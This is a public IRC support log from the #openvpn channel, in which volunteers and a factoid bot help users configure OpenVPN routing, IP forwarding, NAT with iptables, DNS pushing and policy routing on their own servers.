21:31 < hrenovo> jpalmer: fails to start
21:32 < hrenovo> I wonder if I can look up the log
21:32 < hrenovo> I know why
21:33 < hrenovo> yup, I can ping the server )
21:34 < hrenovo> cools !!!
21:35 < hrenovo> I wonder if it will for from windows if I install cygwin
21:35 < hrenovo> if it will work*
21:39 < hrenovo> where is the server log ?
21:50 < pekster> OpenVPN has native Windows installers
21:50 < pekster> !download
21:50 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
21:50 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
22:01 < hrenovo> ok
22:01 < hrenovo> I am connected to openvpn server with windows vpn-gui
22:02 < hrenovo> but
22:02 < hrenovo> when I go to check my IP address in the web browser, it is not changed
22:02 < hrenovo> www.whatismyip.com
22:02 < hrenovo> I was under the impression that it should show the wan ip of openvpn server ...
22:03 < pekster> Connecting to a VPN is nothing but a connecetion between the client and server
22:03 <@EugeneKay> !redirect
22:03 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:03 <@vpnHelper> http://ircpimps.org/redirect.png
22:03 <@EugeneKay> hrenovo ^
22:03 < pekster> EugeneKay: Bleh, I had a much more wordy preface to that :P
22:03 <@EugeneKay> The flowchart works well.
22:04 <@EugeneKay> pekster - neener neener neenern
22:04 < hrenovo> redirect.png is 404 in the web browser
22:04 <@EugeneKay> Worksforme
22:05 < hrenovo> maybe its cached for you
22:06 < pekster> Nope, shift-reload (bypasses cache) is fine
22:06 < pekster> I can mirror it if you'd like
22:06 < hrenovo> please
22:06 < pekster> fwiw, fresh download via wget on my headless box works too
22:07 < pekster> Mirror: http://pekster.sdf.org/misc/redirect.png
22:08 < hrenovo> hmm
22:08 < hrenovo> so much networking
22:08 < hrenovo> ouch
22:09 <@EugeneKay> Yup.
22:09 < hrenovo> how would I enable redirect gateway on windows client ?
22:09 <@EugeneKay> !def1
22:09 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
22:10 < hrenovo> so I am just editing the client.conf ?
22:10 < hrenovo> no matter linux or windows right ?
22:11 <@EugeneKay> Put what is listed in #3 in the server.conf
22:11 -!- athetius_ [~sollux@athetius.com] has left #openvpn []
22:11 <@EugeneKay> Or, if you just want one client ot redirect, put the bit inside "" in your client.conf
22:12 < hrenovo> no, all clients is fine
22:12 < hrenovo> If I understand this right
22:14 < hrenovo> right now in server.conf I have this - ;push "redirect-gateway def1 bypass-dhcp"
22:15 < hrenovo> should I change that to push "redirect-gateway def1"
22:15 < hrenovo> ?
22:26 < hrenovo> I changed it
22:27 <@EugeneKay> Yeah, no need for bypass-dhcp
22:27 < hrenovo> now I can connect with a client, but now internet is not working on the client
22:27 < hrenovo> hehe
22:27 <@EugeneKay> Good. That means it's working
22:27 < hrenovo> really ?
22:27 <@EugeneKay> Yup.
22:27 < hrenovo> lol
22:27 <@EugeneKay> Now continue down the flowchart :-p
22:27 < hrenovo> but no internet
22:28 < hrenovo> ah ! ok
22:28 < hrenovo> very interesting ...
22:29 < hrenovo> yeah, ip forwarding not enabled I guess
22:29 < hrenovo> how would I enable ip forwardeing ?
22:30 <@EugeneKay> The bot knows all
22:30 <@EugeneKay> !ipforward
22:30 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
22:31 < hrenovo> damn
22:31 < hrenovo> I don't understand networking that well
22:31 < hrenovo> I am not even sure if the ip forwarding should be enabled on the client or the server
22:32 <@EugeneKay> !redirect
22:32 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:32 <@vpnHelper> http://ircpimps.org/redirect.png
22:32 <@EugeneKay> See #1 ;-)
22:32 < hrenovo> lol
22:33 < hrenovo> !linipforward
22:33 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
22:37 < hrenovo> ok i've done #1
22:37 < hrenovo> but not sure if I need to restart any service
22:39 < pekster> !basic
22:39 <@vpnHelper> "basic" is if you do not understand basic networking, you probably should not be administrating a vpn... you should understand the basics of routing / firewalls first
22:39 < pekster> !tcpip
22:39 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
22:42 < hrenovo> I am sure this is an interesting book
22:42 < hrenovo> but I am just an average user
22:42 < hrenovo> or should I say below average
22:42 < hrenovo> compared to you pekster
22:43 < hrenovo> i'd be glad to follow a guide on this if there was one available
22:43 < hrenovo> this way I won't have to bother irc channel
22:44 < pekster> flowchart + google (and any references the bot has) are a good start
22:44 < pekster> A VPN is a somewhat advanced form of networking, especially when you're playing with routing across it. Having poor networking skills is a severe hinderance when you're trying to do semi-advanced netwnorking
22:46 < hrenovo> I asked if there should be a service restarted after adding net.ipv4.ip_forward = 1 in sysctl.conf
22:46 < pekster> Values under /proc/sys/ (or controlled via sysctl) take effect right away. You should make the changes persistent in the way your OS exposes sysctl settings to you
22:46 <@EugeneKay> sysctl.conf is applied at boot. fiddling with /proc/sys/ applies immediately.
22:46 <@EugeneKay> (but is lost at boot)
22:51 < hrenovo> can't save ip_forward for some reason
22:52 < hrenovo> nvm got it
22:54 < hrenovo> still can't ping 8.8.8.8 from the client
22:55 -!- MeanderingCode [~Meanderin@199.254.238.206] has quit [Ping timeout: 264 seconds]
22:55 < hrenovo> is #1 enough for "linipforward" ?
22:55 <@EugeneKay> #3 too
22:59 < hrenovo> okay did #3
23:01 < hrenovo> can't see it in iptables -L
23:02 <@EugeneKay> It'll be in the nat table(-L -t nat)
23:02 <@EugeneKay> If you have anything in the filter table you'll need to make the appropriate hole so traffic from tun+ can get out eth+
23:02 -!- stan_man_can [~stan_man_@d75-155-220-99.bchsia.telus.net] has joined #openvpn
23:04 < hrenovo> EugeneKay: http://fpaste.org/Tmh9/
23:04 < hrenovo> I am not even sure if its added or not
23:05 < hrenovo> from looking at the output
23:05 < stan_man_can> I'm trying to get my openvpn to work as a proxy. The openvpn server is running on an ubuntu vps, and my client machine is osx
23:06 < stan_man_can> I've added push "redirect-gateway def1" to my server.conf
23:06 <@EugeneKay> !redirect
23:06 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
23:06 <@vpnHelper> http://ircpimps.org/redirect.png
23:06 < hrenovo> lol same problem
23:06 <@EugeneKay> stan_man_can - follow the chart ^
23:06 < stan_man_can> EugeneKay: I believe the problem is something to do with the DNS
23:06 <@EugeneKay> The chart+bot know all ;-)
23:06 < stan_man_can> when I add the push "dhcp-option DNS 10.8.0.1" my client continually reconnects
23:07 <@EugeneKay> !dns
23:07 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
23:07 < hrenovo> !ipforward
23:07 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
23:07 <@EugeneKay> !pushdns
23:07 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
23:07 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
23:07 < hrenovo> !nat
23:07 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
23:08 < hrenovo> EugeneKay: do you think i'm all good with !ipforward now ?
23:08 <@EugeneKay> hrenovo - dunno; I'd have to look at your system, and that costs $150/hr. :-p
23:08 < hrenovo> )
23:08 <@EugeneKay> If you've got the sysctl entry sorted then yes
23:09 < stan_man_can> is the sysctl on server or client?
23:09 < hrenovo> server
23:09 < stan_man_can> !sysctl
23:09 <@EugeneKay> sysctl is a linux thing; the setting in question is performed on the servr.
23:10 < hrenovo> should I restart the server to make sure sysctl kicks in ?
23:10 < hrenovo> restart the host I mean
23:10 <@EugeneKay> No; the /proc/sys is fine
23:10 < hrenovo> ok
23:10 <@EugeneKay> If you typo'ed it won't work on boot, so if you wanna make sure then go for it. I tend not to assume incompetence tho
23:10 < hrenovo> I understand
23:10 < stan_man_can> whats the link to the sysctl stuff again
23:11 < hrenovo> I am still not sure if I got #3 working
23:11 <@EugeneKay> !linipforwward
23:11 <@EugeneKay> !linipforward
23:11 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
23:11 <@EugeneKay> hrenovo - if you can ping a public IP(through the VPN) then it did.
23:11 <@EugeneKay> The networking is probably the trickiest bit of it, after the PKI setup.
23:11 <@EugeneKay> Annnnd it's breakfast time
23:11 <@EugeneKay> Toodles, and goodl uck
23:12 < stan_man_can> Oh god the DNS pushing looks like a huge headache
23:12 < hrenovo> I added iptables -I FORWARD -i tun+ -j ACCEPT and showed you the paste oof iptables -L -l nat  http://fpaste.org/Tmh9/
23:12 < hrenovo> looks good ?
23:13 < hrenovo> its pinging !!!!
23:13 < hrenovo> yaaaaaay
23:19 < hrenovo> crap
23:19 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Read error: Operation timed out]
23:20 < hrenovo> no i can't
23:20 < hrenovo> I thought I was able to ping 8.8.8.8 but I wasn't connected to vpn (
23:20 < hrenovo> as soon as I connect I can't ping it
23:22 < hrenovo> i'm stuck
23:22 < hrenovo> I am tempted to restart the host
23:22 < hrenovo> but this will kick me off the irc
23:23 < hrenovo> !nat
23:23 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
23:24 < hrenovo> !linnat
23:24 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
23:27 -!- stan_man_can [~stan_man_@d75-155-220-99.bchsia.telus.net] has left #openvpn []
23:28 < hrenovo> EugeneKay: http://fpaste.org/bZ88/
23:28 < hrenovo> I made this change
23:28 < hrenovo> but still can't ping 8.8.8.8
23:29 < hrenovo> MASQUERADE  all  --  10.8.0.0/24          anywhere
23:30 < hrenovo> or should it be MASQUERADE  all  --  10.8.0.1/24          anywhere
23:30 < hrenovo> ?
23:39 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
--- Day changed Fri Mar 15 2013
00:02 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Read error: Operation timed out]
00:10 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
00:22 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
00:24 -!- Visitorerer [~Visitorer@64.111.86.226] has joined #openvpn
00:25 < Visitorerer> My friend and I are connected through Tunnelblick, but we can't ping eachother. Config/logs here : http://pastebin.com/7rvRbivz
00:30 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
00:31 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 264 seconds]
00:39 -!- p3rror [~mezgani@41.140.31.21] has joined #openvpn
00:40 -!- p3rror [~mezgani@41.140.31.21] has quit [Read error: Connection reset by peer]
00:49 -!- p3rror [~mezgani@41.140.31.21] has joined #openvpn
01:05 < jzaw> morning all
01:05 < jzaw> can i ip rule add from <source>/<mask> table <name>
01:06 < jzaw> or do i really have to go into /etc/iproute2/rt_tables and edit that
01:06 < jzaw> before i can test things?
01:07 < jzaw> this http://wiki.openwrt.org/doc/networking/routing
01:07 < jzaw> suggests single hosts
01:07 < jzaw> id want to do whole nets .... is that ok?
01:08 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
01:22 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
01:24 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
01:42 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
01:49 < pekster> jzaw: Yup, all the 'ip' commands take CIDR masks to define networks unless it's for something strictly requiring a host, like PtP peering
01:51 < pekster> And no need to name a table unless you want to. You can use arbitrary numbers for tables
01:55 < jzaw> thats cool pekster
01:55 < jzaw> can you tell me if this is sane ?
01:56 < pekster> What using numbers? Sure
01:56 < jzaw> remove route  ... 81.2.122.192/26 via 10.0.0.1 dev tap0
01:56 < jzaw> ip rule add from 81.2.122.192/26 table 10
01:57 < jzaw> ip route add 81.2.122.192/26 via 10.0.0.1 dev tap0 table 10
01:57 < jzaw> ip route flush
01:57 < jzaw> flush cache i mean
01:57 < pekster> You generally still want the route on the default table, otherwise the kernel can't reach the VPN network range itself unless you send it to table 10
01:57 < jzaw> so not delete 81.2.122.192/26 via 10.0.0.1 dev tap0
01:58 < pekster> It's valid to set a table up like that, but it's not much use unless you plan to do something specific with the table
01:58 < jzaw> well i just want those icmp's to come back down the right route :D
01:59 < jzaw> hehe
01:59 < jzaw> also ... im thinking its causing problems with my voip
01:59 < pekster> Oh, you're trying to route that range across the VPN? Why not just push a route then...
01:59 < jzaw> in a similar fashion ... since the rtp can be p2p and thus come down the vpn but go out the nat
02:01 < jzaw> i do ... push "route 81.2.122.192 255.255.255.192"
02:01 < jzaw> from server.conf ^^
02:01 < pekster> Right, then clients route that range across the VPN when the tunnel is up
02:01 < jzaw> yes
02:02 < pekster> It's just a route entry. Unless you need to route different types of traffic differently, you shouldn't be messing with multiple routing tables
02:02 < jzaw> so other than sending all traffic down the vpn
02:02 < jzaw> is there a cure for that asymmetrical routing the icmp seem to take
02:02 < jzaw> i thought source routing might help
02:03 < pekster> Ah, okay. You should define your goal upfront (it saves a lot of time.)
02:03  * jzaw nods :)
02:03 < pekster> Is the system receiving the ping your VPN client?
02:04 < jzaw> no  fuji-pl.dzki.co.uk is behind the router ... which is the client
02:04 < jzaw> its this laptop
02:04 < jzaw> the net connection here is nat via that same router
02:04 < pekster> So, it looks like this: [some Internet host] -> (Internet) -> (router VPN client) -> [router's LAN] -> [laptop on LAN] ?
02:05 < pekster> Well, plus your VPN server and link between the web and router VPN client, yes?
02:05 < jzaw> if i understand that topo yes
02:06 < pekster> In order to keep arbitrary reply traffic arriving over the tap device going back out that way when you don't know the source in advance (like my public IP pinging you) you need to mark the connection and route based on that
02:06 < pekster> The VPN client is a linux box, yes?
02:07 < jzaw> yes openwrt on a tp-link wr740n
02:07 < jzaw> so iptables marking ?
02:07 < pekster> Okay, so you need to do a few things. 1) create a secondary routing table (table 10 or w/e is fine.) Add the tap network route like you had before, *plus* a default route going to the VPN server
02:08 < pekster> Then you need to use the connmark module (see the iptables-extensions(8) manpage for details) and mark the connection of anything arriving via the tap device
02:09 < pekster> Finally, you need to copy the connmark to the per-packet mark in the mangle table on mangle/PREROUTING so you can use the fwmark as your routing decision in the 'ip' command
02:09  * jzaw nods
02:09 < jzaw> just one q though
02:09 < jzaw> you say default route to vpn server
02:09 < pekster> Add an 'ip rule' to filter on the fwmark, and send it to table 10
02:09 < jzaw> but i only want lan traffic to go down the vpn not all
02:10 < pekster> Are you trying to put all the LAN's traffic going anyway down the VPN, or just reply traffic to what's sent to a LAN client over the VPN?
02:10 < pekster> Do you want a LAN PC's request for, say, youtube to go across the VPN?
02:11 < jzaw> nope ... but if a request for say something from xyz.dzki.co.uk    that should go down the vpn
02:11 < pekster> routing doesn't deal with domain names, only IPs
02:11 < jzaw> if its come up the vpn i also want it to go back down
02:11 < pekster> Right
02:11 < jzaw> sure i was just using dzk.co.uk to define that group of ips
02:12 < pekster> The return routing needs the connmark, connmark -> fwmark, plus policy routing to do
02:12 < jzaw> its a pub subnet (different to the nat lan here)
02:12 < pekster> As for the routing of that subnet, just put it on the default table and you might as well let openvpn manage that addition when it comes up
02:13  * jzaw nods
02:13 < pekster> It's really just the reply to connections sent to your clients that's the tricky part
02:13 < jzaw> yes ... as they are pub ips ... they will be coming up the vpn from the server end
02:13 < jzaw> they need to go back there
02:13 < pekster> I'm not sure why you're using tap for your VPN though. routing should be plenty sufficent since you're routing anyway
02:14 < pekster> tun is for routing, tap is for bridging
02:14  * jzaw nods ... simple change
02:14 < pekster> As long as you don't intend to be bridging, yes
02:14 < jzaw> ah it was cos i only had the /29 and tap seemed to use fewer ips for the vpn
02:14 < pekster> !/30
02:14 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
02:15 < jzaw> tun seems to use 4
02:15 < pekster> That explains why. Use topology subnet
02:15 < jzaw> k cool
02:16 -!- ade_b [~Ade@koln-5d815ef7.pool.mediaWays.net] has joined #openvpn
02:16 -!- ade_b [~Ade@koln-5d815ef7.pool.mediaWays.net] has quit [Changing host]
02:16 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:16 < jzaw> but im now just using 10.x.x.x for the vpn so no limit
02:17 < pekster> It's generally pointless to assign more than a /24 to openvpn since you end up being limited in terms of the CPU/single-threaded model long before you can use ~253 clients
02:18 < jzaw> aye
02:19 < jzaw> btw i mean i use 10.x.x.x for the tap ..which will be tun soon
02:19 < jzaw> server end has pub ips ... and so does the client end
02:20 < jzaw> but client end ips are routed to my gw ip at the server end thus need to go down the vpn to reach them
02:21 < pekster> Yup, I've set up VPNs like that before
02:23 < pekster> In my case the policy routing was easier, since the client end had 2 VLANs, and one was sent strictly out the local ISP, and the other only had internal corp LANs routed across the VPN, with the default gateway set to the local ISP as well
02:23 < pekster> But, the only real complication for your setup is that packet/connection marking business
02:24 < jzaw> i see
02:25 < pekster> That did mean external (non-corp) things couldn't ever reach the LAN clients by external IP, but that was firewalled anyway, so it didn't matter
02:25 < pekster> You want that to work :)
02:27 < jzaw> aye :)
02:27 -!- corretico [~luis@190.211.93.38] has quit [Read error: Connection reset by peer]
02:30 -!- corretico [~luis@190.211.93.38] has joined #openvpn
02:39 -!- corretico [~luis@190.211.93.38] has quit [Remote host closed the connection]
02:42 -!- corretico [~luis@190.211.93.38] has joined #openvpn
04:03 -!- Morg0th [~Morg0th@82-212-146-28.teledisnet.be] has joined #openvpn
04:13 -!- zz_AsadH is now known as AsadH
04:15 -!- brute11k [~brute@89.249.230.137] has joined #openvpn
04:21 -!- iliketrains [~TF7@p578b0d2b.dip0.t-ipconnect.de] has joined #openvpn
04:25 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 252 seconds]
04:30 < Morg0th> hello, i'm trying to connect to a VPN on Linux, in the output of "openvpn /etc/openvpn/openvpn.conf" it looks like it's working but i still can't access the VPN network. i see the ppp0 interface, is there anything else i should do after running openvpn?
04:31 -!- iliketrains [~TF7@p578b0d2b.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
04:37 < Morg0th> i put my openvpn.conf here:  http://codepad.org/JcQS78lQ
04:37 <@vpnHelper> Title: Plain Text code - 16 lines - codepad (at codepad.org)
04:43 -!- iliketrains [~TF7@pd95b7877.dip0.t-ipconnect.de] has joined #openvpn
04:45 < iliketrains> good morning! could someone help me with a little problem? (openvpn srv won't start)
04:54 -!- iliketrains [~TF7@pd95b7877.dip0.t-ipconnect.de] has quit []
04:55 < jzaw> does openvpn run on obsd
04:55 < jzaw> ooh seems like it might :)
05:12 < kisom> What MIME-type should be used on iOS/Android to have a configuration file open in the app?
05:14 < kisom> application/x-openvpn-profile did the trick
05:40 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
05:42 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:43 -!- master_of_master [~master_of@p4FF24517.dip.t-dialin.net] has quit [Ping timeout: 246 seconds]
05:45 -!- master_of_master [~master_of@p4FF24395.dip.t-dialin.net] has joined #openvpn
05:47 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
05:50 -!- master_o1_master [~master_of@p4FF24417.dip.t-dialin.net] has joined #openvpn
05:53 -!- master_of_master [~master_of@p4FF24395.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
06:02 -!- marksaitis [~marksaiti@88.96.60.78] has joined #openvpn
06:20 -!- master_of_master [~master_of@p4FF24CC9.dip.t-dialin.net] has joined #openvpn
06:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:24 -!- master_o1_master [~master_of@p4FF24417.dip.t-dialin.net] has quit [Ping timeout: 258 seconds]
06:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
06:29 -!- hatschi [~marvin@dslb-188-098-215-065.pools.arcor-ip.net] has joined #openvpn
06:37 -!- marksaitis [~marksaiti@88.96.60.78] has quit [Ping timeout: 258 seconds]
07:02 < Wulf> Morg0th: ppp0?
07:07 -!- marksaitis [~marksaiti@88.96.60.78] has joined #openvpn
07:22 -!- DougEFresh [me@208.99.80.128] has quit [Read error: No route to host]
07:35 -!- p3rror [~mezgani@41.140.31.21] has quit [Ping timeout: 258 seconds]
07:38 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
07:42 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
07:50 -!- p3rror [~mezgani@41.248.146.127] has joined #openvpn
07:50 -!- cpm [~Chip@216.169.175.102] has joined #openvpn
07:50 -!- cpm [~Chip@216.169.175.102] has quit [Changing host]
07:50 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
07:54 -!- p3rror [~mezgani@41.248.146.127] has quit [Ping timeout: 240 seconds]
08:04 -!- marksaitis [~marksaiti@88.96.60.78] has quit [Ping timeout: 258 seconds]
08:05 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
08:05 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 272 seconds]
08:08 -!- p3rror [~mezgani@41.249.26.140] has joined #openvpn
08:10 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:12 -!- p3rror [~mezgani@41.249.26.140] has quit [Read error: Connection reset by peer]
08:17 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:18 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
08:56 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Quit: cpm]
09:01 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
09:02 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
09:16 < Morg0th> Wulf: sorry i meant the tap0 interface. ppp0 was from when i tried with pptp which didn't work either
09:19 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
09:23 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
09:25 < bkrieg1337> hello
09:25 <@ecrist> hello
09:25 < bkrieg1337> i need help setting up openvpn
09:25 < bkrieg1337> im stuck at client setup
09:26 < bkrieg1337> help please
09:26 < bkrieg1337> this is the guide i followed https://help.ubuntu.com/12.04/serverguide/openvpn.html
09:26 <@vpnHelper> Title: OpenVPN (at help.ubuntu.com)
09:28 <@ecrist> !howto
09:28 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:29 < bkrieg1337> reading. thank for resource
09:30 < bkrieg1337> thank you*
09:42 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:48 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
09:53 -!- p3rror [~mezgani@41.143.216.65] has joined #openvpn
09:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:58 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
09:59 -!- p3rror [~mezgani@41.143.216.65] has quit [Ping timeout: 260 seconds]
10:04 -!- p3rror [~mezgani@41.249.18.228] has joined #openvpn
10:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:10 -!- p3rror [~mezgani@41.249.18.228] has quit [Ping timeout: 260 seconds]
10:13 -!- dekroning [~dekroning@vps3.cttinnovations.net] has joined #openvpn
10:13 < dekroning> hi
10:13 -!- p3rror [~mezgani@41.248.207.114] has joined #openvpn
10:13 < dekroning> i'm using openvpnas and i'm having troubles with 2 linux boxes that are connected
10:13 < rob0> !as
10:13 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
10:13 < dekroning> thanks
10:13 < rob0> yw
10:15 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
10:16 -!- p3rror [~mezgani@41.248.207.114] has quit [Read error: Operation timed out]
10:21 -!- raidz_away is now known as raidz
10:29 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
10:31 -!- rickbol [~rickbol@cpe-174-096-184-106.carolina.res.rr.com] has quit [Ping timeout: 264 seconds]
10:32 -!- p3rror [~mezgani@41.250.234.137] has joined #openvpn
10:37 -!- p3rror [~mezgani@41.250.234.137] has quit [Ping timeout: 264 seconds]
10:42 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
10:47 -!- rickbol [~rickbol@173-132-151-91.pools.spcsdns.net] has joined #openvpn
10:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:10 -!- rickbol [~rickbol@173-132-151-91.pools.spcsdns.net] has quit [Read error: Connection reset by peer]
11:11 -!- p3rror [~mezgani@41.249.155.51] has joined #openvpn
11:11 -!- rickbol [~rickbol@173-132-151-91.pools.spcsdns.net] has joined #openvpn
11:14 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:16 -!- rickbol [~rickbol@173-132-151-91.pools.spcsdns.net] has quit [Read error: Connection reset by peer]
11:16 -!- rickbol [~rickbol@173-132-151-91.pools.spcsdns.net] has joined #openvpn
11:24 -!- Morg0th [~Morg0th@82-212-146-28.teledisnet.be] has quit [Quit: leaving]
11:29 -!- rickbol [~rickbol@173-132-151-91.pools.spcsdns.net] has quit [Ping timeout: 256 seconds]
11:34 -!- Devastator [~devas@unaffiliated/devastator] has quit []
